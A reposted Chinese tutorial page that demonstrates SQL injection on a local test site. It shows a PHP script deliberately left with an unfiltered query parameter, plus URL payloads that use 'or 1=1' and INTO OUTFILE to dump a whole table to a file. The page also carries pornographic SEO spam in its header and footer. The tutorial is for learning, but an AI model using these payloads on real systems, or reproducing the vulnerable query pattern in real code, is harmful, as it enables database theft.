国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 數據庫 > MySQL > 正文

利用SQL注入漏洞拖庫的方法

2020-01-19 00:02:24
字體:
來源:轉載
供稿:網友
想在本地測試的話,可以在此免積分下載:利用SQL注入漏洞拖庫
同上一篇文章一樣,我們需要創建數據表,并在表中出入幾條數據以備測試之用。
在數據庫中建立一張表:
復制代碼 代碼如下:

CREATE TABLE `article` (
`articleid` int(11) NOT NULL AUTO_INCREMENT,
`title` varchar(100) CHARACTER SET utf8 NOT NULL DEFAULT '',
`content` text CHARACTER SET utf8 NOT NULL,
PRIMARY KEY (`articleid`)
) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=latin1;

在表中插入數據的操作我就不貼代碼了,可以去下載下來直接導入到數據庫。
接下來,寫一個處理用戶請求的頁面,這里,我們故意不過濾用戶提交過來的數據,留下個SQL注入漏洞用來測試。
代碼如下:
復制代碼 代碼如下:

<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "test";
$id=$_GET['id'];//id未經過濾
$conn=mysql_connect($servername,$dbusername,$dbpassword) or die ("數據庫連接失敗");
mysql_select_db($dbname,$conn);
mysql_query('set names utf8');
$sql = "SELECT * FROM article WHERE articleid='$id'";
$result = mysql_query($sql,$conn);
$row = mysql_fetch_array($result);
echo "<p>利用SQL注入漏洞拖庫<p>";
if (!$row){
echo "該記錄不存在";
exit;
}
echo "標題<br>".$row['title']."<p>";
echo "內容<br>".$row['content']."<p>";
?>

我們直接在瀏覽器中輸入:
http://127.0.0.1/marcofly/phpstudy/sqlinsert/showart.php?id=1
即可訪問article表中id為1的一條記錄
訪問結果如下:

接下來,我們就利用這個漏洞(不知道該漏洞的情況下,只能通過工具+手工檢測),演示一下如何將article表下載下來。
在地址欄中輸入:' into outfile 'e:/sql.txt'%23
分析:%23是#的ASCII碼,由于在地址欄中直接輸入#后到數據庫系統中會變成空,需要在地址欄中輸入%23,那么才會變成#,進而注釋掉后面的sql語句。
運行之后,打開E盤,發現多了一個sql.txt文件,打開之后,里面就是表article中的一條記錄。
為什么只有一條記錄呢?難道該數據表就只有一條記錄?不是這樣的,因為我們只檢索id為1的一條記錄而已,那么能否將article表中的所有記錄一次性全部下載下來呢?
答案是可以的,只要你的構造的SQL語句足夠靈活(再次提出了構造SQL語句的靈活性)。
分析一下,當在URL地址欄中輸入'into outfile 'e:/sql.txt'%23的時候,合并到sql查詢語句中變為:
SELECT * FROM article WHERE articleid='5' into outfile 'e:/whf.txt'#'
仔細分析下之后,我們可以這樣子構造SQL語句:
SELECT * FROM article WHERE articleid='' or 1=1 into outfile 'e:/whf.txt'#'
這樣的話,無論如何WHERE子句總是為真,換句話說,該sql語句等價于如下:
SELECT * FROM article into outfile 'e:/whf.txt'#'
懂了吧,該sql語句在先執行select語句,將表article中的所以內容全部檢索出來,然后再執行into outfile 'e:/whf.txt'#'將內容導出來。
不信的話,你執行下……
利用SQL注入漏洞,我們可以猜測表名,列名,用戶的密碼長度(LEFT函數)等等,當然了,如果能直接向以上的演示那樣將表中的數據全部導出的話就沒必要去猜表名列名等等。
有點累了,就寫到這里了。
利用SQL注入漏洞登錄后臺和利用SQL注入漏洞拖庫是我學習了相關內容之后的一點小結,沒啥深度,正如文章開頭所說,權當總結,別無它意。
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 宁晋县| 永嘉县| 开化县| 华宁县| 科技| 崇信县| 金秀| 许昌市| 灵台县| 辽源市| 宿松县| 拜泉县| 交城县| 隆回县| 临湘市| 林西县| 喜德县| 连城县| 华池县| 诸城市| 辉南县| 华容县| 青川县| 泸水县| 西和县| 双柏县| 敦煌市| 绥中县| 紫金县| 惠水县| 洱源县| 南溪县| 临沂市| 溧阳市| 景谷| 古蔺县| 子长县| 东台市| 广德县| 恩施市| 麻城市|